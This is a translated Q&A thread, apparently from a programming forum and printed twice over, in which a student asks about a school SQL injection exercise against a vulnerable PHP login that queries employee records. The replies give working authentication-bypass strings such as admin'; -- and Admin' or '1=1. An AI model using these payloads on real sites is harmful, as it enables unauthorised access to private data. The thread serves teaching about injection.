如果我只知道用户名,如何使用 SQL 语句从网站获取数据?
How do I use SQL statement to get data from a website if all I know is the username?
我是 MYSQL 的新手,我的学校任务是这样写的:
这是显示用户身份验证方式的 PhP 代码:
$input_uname = $_GET[’username’];
$input_pwd = $_GET[’Password’];
$hashed_pwd = sha1($input_pwd);
...
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email,
nickname, Password
FROM credential
WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
$result = $conn -> query($sql);
// The following is Pseudo Code
if(id != NULL) {
if(name==’admin’) {
return All employees information;
} else if (name !=NULL){
return employee information;
}
} else {
Authentication Fails;
}
我已经尝试过很多不同的事情了:
SELECT * FROM credential WHERE name= 'admin';
SELECT * FROM credential WHERE name= 'admin' and Password= 'xyz';
我将此语句放在用户名框中,将 xyz
放在密码框中。
我不确定我是否正确地处理了这个问题。 SQL 语句应该在用户名框中,正确吗?密码框是否留空?我的教授没有在 class 中介绍过这个。有人可以澄清这是如何完成的吗?我在网上看过例子,都和上面的有些相似。但是,我每次都会遇到同样的错误:
`There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin' and password= "xyz"; and Password= da39a3ee5e6b40d3255bfe95601890afd80 at line 3]\n`
提前谢谢大家!
我不同意这个问题是为了教人们如何破解。它旨在教会后端开发人员清理输入以避免 sql 注入或其他类型的攻击。
要回答您的问题,您可以将密码字段留空,只使用用户名。
您可以在服务器代码上看到没有对输入进行控制,因为输入是按原样获取并放在 sql 语句中。因此,为了使 sql 语句执行您要查找的操作,该字段可以具有以下值:
admin'; --
连字符是 sql 注释,可让您禁用 select 语句的最后一部分而不必提供密码。和报价和;将关闭语句。结果,您将以管理员身份登录 ;-)
原来这对我有用:
Admin’ or ‘1=1
我不完全确定为什么这也有效,但它确实有效:
Admin’ or ‘
我是 MYSQL 的新手,我的学校任务是这样写的:
这是显示用户身份验证方式的 PhP 代码:
$input_uname = $_GET[’username’];
$input_pwd = $_GET[’Password’];
$hashed_pwd = sha1($input_pwd);
...
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email,
nickname, Password
FROM credential
WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
$result = $conn -> query($sql);
// The following is Pseudo Code
if(id != NULL) {
if(name==’admin’) {
return All employees information;
} else if (name !=NULL){
return employee information;
}
} else {
Authentication Fails;
}
我已经尝试过很多不同的事情了:
SELECT * FROM credential WHERE name= 'admin';
SELECT * FROM credential WHERE name= 'admin' and Password= 'xyz';
我将此语句放在用户名框中,将 xyz
放在密码框中。
我不确定我是否正确地处理了这个问题。 SQL 语句应该在用户名框中,正确吗?密码框是否留空?我的教授没有在 class 中介绍过这个。有人可以澄清这是如何完成的吗?我在网上看过例子,都和上面的有些相似。但是,我每次都会遇到同样的错误:
`There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin' and password= "xyz"; and Password= da39a3ee5e6b40d3255bfe95601890afd80 at line 3]\n`
提前谢谢大家!
我不同意这个问题是为了教人们如何破解。它旨在教会后端开发人员清理输入以避免 sql 注入或其他类型的攻击。
要回答您的问题,您可以将密码字段留空,只使用用户名。
您可以在服务器代码上看到没有对输入进行控制,因为输入是按原样获取并放在 sql 语句中。因此,为了使 sql 语句执行您要查找的操作,该字段可以具有以下值:
admin'; --
连字符是 sql 注释,可让您禁用 select 语句的最后一部分而不必提供密码。和报价和;将关闭语句。结果,您将以管理员身份登录 ;-)
原来这对我有用:
Admin’ or ‘1=1
我不完全确定为什么这也有效,但它确实有效:
Admin’ or ‘